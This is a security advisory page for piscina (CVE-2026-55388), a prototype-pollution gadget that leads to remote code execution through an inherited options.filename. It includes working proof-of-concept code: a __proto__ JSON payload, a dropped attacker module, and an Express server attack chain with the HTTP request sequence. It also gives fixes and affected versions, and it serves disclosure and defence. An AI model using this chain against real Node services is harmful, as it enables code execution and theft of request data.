GHSA-X9G3-XRWR-CWFG

Vulnerability from github – Published: 2026-06-18 13:05 – Updated: 2026-06-18 13:05
VLAI
Summary
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
Details

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

  1. Upstream PP-source somewhere in the process — common in transitive deps
  2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire: - Every pool.run(task, opts) call across the entire process is hijacked - Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data - Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients - Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"

B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.

// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response

Empirical observation on piscina@5.1.4 + Node 23.11.0: - Pre-attack /api/process returns {by: 'valid-worker'} - Cold-path /probe after PP source confirms ({}).filename is polluted process-wide - Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>} - Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access

Recommended fix

Minimal — own-property guard at both option-read sites:

// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;

More idiomatic — use a null-prototype working object throughout this.options:

const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;

Either approach closes the gadget without breaking any legitimate caller pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.

Coordination

  • Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
  • Will not share publicly until GHSA published or 90 days.
  • Please credit ridingsa if you choose to credit a reporter.

How this was discovered

Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "piscina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-alpha.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.9.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "piscina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "piscina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-rc.1"
            },
            {
              "fixed": "6.0.0-rc.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:05:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`piscina`\u0027s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n  ? (0, common_1.maybeFileURLToPath)(options.filename)\n  : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n    if (options === null || typeof options !== \u0027object\u0027) {\n        return Promise.reject(new TypeError(\u0027options must be an object\u0027));\n    }\n    const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller\u0027s options object doesn\u0027t have `filename` as an own property. When `Object.prototype.filename` is polluted upstream \u2014 by any of the well-documented PP-source CVEs (lodash\u003c4.17.13, qs\u003c6.10.3, set-value\u003c4.1.0, minimist\u003c1.2.6, deepmerge\u003c4.2.2, and others) \u2014 the inherited value flows to `worker_threads.Worker` import and the attacker\u0027s `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property \u2014 that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process \u2014 common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path \u2014 realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker\u0027s exported function is called with the legitimate caller\u0027s task data \u2014 **attacker reads per-request app data**\n- Attacker controls the return value \u2014 caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields \u2014 **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor\u0027s `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized \u2014 likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from \u0027fs\u0027;\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync(\u0027/tmp/atk.mjs\u0027, `\n  import fs from \u0027fs\u0027;\n  fs.writeFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, JSON.stringify({\n    rce: \u0027CONFIRMED\u0027, pid: process.pid, argv1: process.argv[1],\n  }));\n  export default function(arg) { return \u0027attacker-return-\u0027 + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source \u2014 pollute Object.prototype.filename\n//    (representative of CVE-2019-10744 lodash\u003c4.17.13, CVE-2022-24999 qs\u003c6.10.3,\n//     and ~30 historical PP-source CVEs)\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\u0027);\nfunction vulnMerge(t, s) {\n  for (const k of Object.keys(s)) {\n    if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n      if (!t[k]) t[k] = {};\n      vulnMerge(t[k], s[k]);\n    } else t[k] = s[k];\n  }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import(\u0027piscina\u0027);\nconst p = new Piscina({});                        // inherits filename\nconst result = await p.run({});                   // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, \u0027utf8\u0027));\nconsole.log(\u0027attacker fn returned:\u0027, result);\n// \u2192 \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` \u2014 the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from \u0027express\u0027;\nimport { Piscina } from \u0027piscina\u0027;\n\n// Vulnerable PP-source middleware (lodash\u003c4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n  for (const k of Object.keys(s)) {\n    if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n      if (!t[k]) t[k] = {};\n      vulnMerge(t[k], s[k]);\n    } else t[k] = s[k];\n  }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n  filename: \u0027./valid-worker.mjs\u0027,\n  minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post(\u0027/api/settings\u0027, express.json(), (req, res) =\u003e {\n  vulnMerge(config, req.body);                    // PP source\n  res.json({ ok: true });\n});\n\napp.post(\u0027/api/process\u0027, express.json(), async (req, res) =\u003e {\n  const ac = new AbortController();\n  const result = await pool.run(req.body, { signal: ac.signal });  // \u003c-- hijacked\n  res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload  \u2192 drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process \u2192 pool.run() destructures filename via prototype\n//                  \u2192 worker imports /tmp/atk.mjs\n//                  \u2192 attacker fn called with req.body of THIS request\n//                  \u2192 caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: \u0027valid-worker\u0027}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: \u0027ATTACKER-WORKER\u0027, processed: \u003ccaller\u0027s exfil data\u003e}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process\u0027s uid + env access\n\n## Recommended fix\n\nMinimal \u2014 own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, \u0027filename\u0027)\n  ? options.filename\n  : null;\nconst filename = userFilename\n  ? (0, common_1.maybeFileURLToPath)(userFilename)\n  : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options);          // copies own props only? \u2014 keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic \u2014 use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n  : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino \u2014 you\u0027re already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure\u0027s mechanism \u2014 any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.",
  "id": "GHSA-x9g3-xrwr-cwfg",
  "modified": "2026-06-18T13:05:11Z",
  "published": "2026-06-18T13:05:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piscinajs/piscina"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piscina: Prototype Pollution Gadget \u2192 RCE via inherited options.filename"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.